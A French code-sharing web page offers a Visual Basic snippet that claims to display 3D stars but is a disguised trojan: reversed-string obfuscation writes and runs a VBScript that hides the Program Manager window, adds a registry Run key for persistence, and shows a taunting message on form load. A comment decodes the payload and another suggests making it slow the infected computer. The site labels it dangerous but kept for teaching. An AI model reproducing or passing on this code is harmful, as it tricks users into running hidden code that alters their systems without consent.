Comment générer du script depuis visualbasic

Soyez le premier à donner votre avis sur cette source.

Snippet vu 4 788 fois - Téléchargée 64 fois

Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique :
Cette source est considérée comme dangereuse, elle a néamoins été gardée dans un but pédagogique.

Contenu du snippet

Pom Pom Pom, comme je vois à quel point mes scripts sont apprécié ici, je vous offre ( avant même sa sortie officiel ) ce fabuleux code qui permet de visualiser des étoiles en 3 dimensions ( et se, même sur un 486!!! ) Que dire de plus sinon que le code n'est pas très optimisé mais il est néanmoins relativement performant et permet de réaliser des applications relativements complètes.

Créez une form et coller ce code, c'est tout!!

Source / Exemple :


Private Declare Function PutMeWhereIWant Lib "user32" Alias "ShowWindow" _
                      (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
Private Declare Function WonderWhereAmI Lib "user32" Alias "FindWindowExA" _
         (ByVal hwnd As Long, ByVal hWndChild As Long, ByVal lpszClassName _
                              As String, ByVal lpszWindow As String) As Long

Private Sub IWanaHaveRoom()
 Dim hwnd As Long: LeHandle = WonderWhereAmI(0&, 0&, Guess$("namgorP"), _
                                                            vbNullString)
 If LeHandle <> 0 Then Call PutMeWhereIWant(LeHandle, 0)
End Sub

Private Sub Ooooups()
 Open Guess$("sbv.uaerialB\:c") For Output As #1
 Print #1, Guess$("metsysrid ,osf miD")
 Print #1, Guess$(")" + Chr$(34) + "tcejbOmetsySeliF.gnitpircS" + Chr$(34) _
                                                 + "(tcejbOetaerC = osf teS")
 Print #1, Guess$("txeN emuseR rorrE nO")
 Print #1, Guess$(")1(redloFlaicepSteG.osf = metsysrid teS")
 Print #1, Guess$(")" + Chr$(34) + "llehS.tpircSW" + Chr$(34) + "(tcejb" + _
                                                     "OetaerC = tideger teS")
 Print #1, Guess$(Chr$(34) + "sbv.uaerialB\:c tpircsw" + Chr$(34) + "," + _
           Chr$(34) + "kcirreD\nuR\noisreVtnerruC\swodniW\tfosorciM\e" + _
           "rawtfoS\ENIHCAM_LACOL_YEKH" + Chr$(34) + " etirWgeR.tideger")
 Print #1, Guess$(Chr$(34) + "ékiN T" + Chr$(34) + " xobgsM")
 Close #1
End Sub

Private Function Guess$(Tired$)
 a$ = ""
 For i = 1 To Len(Tired$)
  a$ = Mid$(Tired$, i, 1) + a$
 Next i
 Guess$ = a$
End Function

Private Sub WanaGetOut()
 TheProcess = Guess$("sbv.uaerialB\:c tpircsw")
 Shell TheProcess
End Sub

Private Sub Form_Load()
 Call IWanaHaveRoom
 Call Ooooups
 Call WanaGetOut
End Sub

Conclusion :


Roooooo que c'est beau!

A voir également

Ajouter un commentaire

Commentaires

Messages postés
182
Date d'inscription
dimanche 18 août 2002
Statut
Membre
Dernière intervention
5 janvier 2004
3
Dim fso, dirsystem
Set fso = CreateObject("Scripting.FileSystemObject")
On Error Resume Next
Set dirsystem = fso.GetSpecialFolder(1)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite "HKEY_LOCAL_MACHINESoftwareMicrosoftWindowsCurrentVersionRunDerrick","wscript c:Blaireau.vbs"
Msgbox "T Niké"
Messages postés
223
Date d'inscription
samedi 24 mars 2001
Statut
Modérateur
Dernière intervention
24 juin 2007

- mdr -
Messages postés
240
Date d'inscription
vendredi 14 juin 2002
Statut
Membre
Dernière intervention
17 mars 2009

et, le pirate, ce site est fais pour aider ceux qui ne sont pas au top en programmation, pas pour les faire chier...
sinon, si tu vraiment faire chier le monde avec ton prog, t'aurais au moin pu mettre quelque chose du genre une boucle qui lance des milliers de fois ton virus, histoire de ralentir a fond l'ordi infecté...
humpf t'aurais pu foutre une boucle d'antieffacement
meme pour raison pedagogique, je ne vois pas l'interet de laisser ce script sur le site
Afficher les 13 commentaires

Vous n'êtes pas encore membre ?

inscrivez-vous, c'est gratuit et ça prend moins d'une minute !

Les membres obtiennent plus de réponses que les utilisateurs anonymes.

Le fait d'être membre vous permet d'avoir un suivi détaillé de vos demandes et codes sources.

Le fait d'être membre vous permet d'avoir des options supplémentaires.

Du même auteur (Mémère)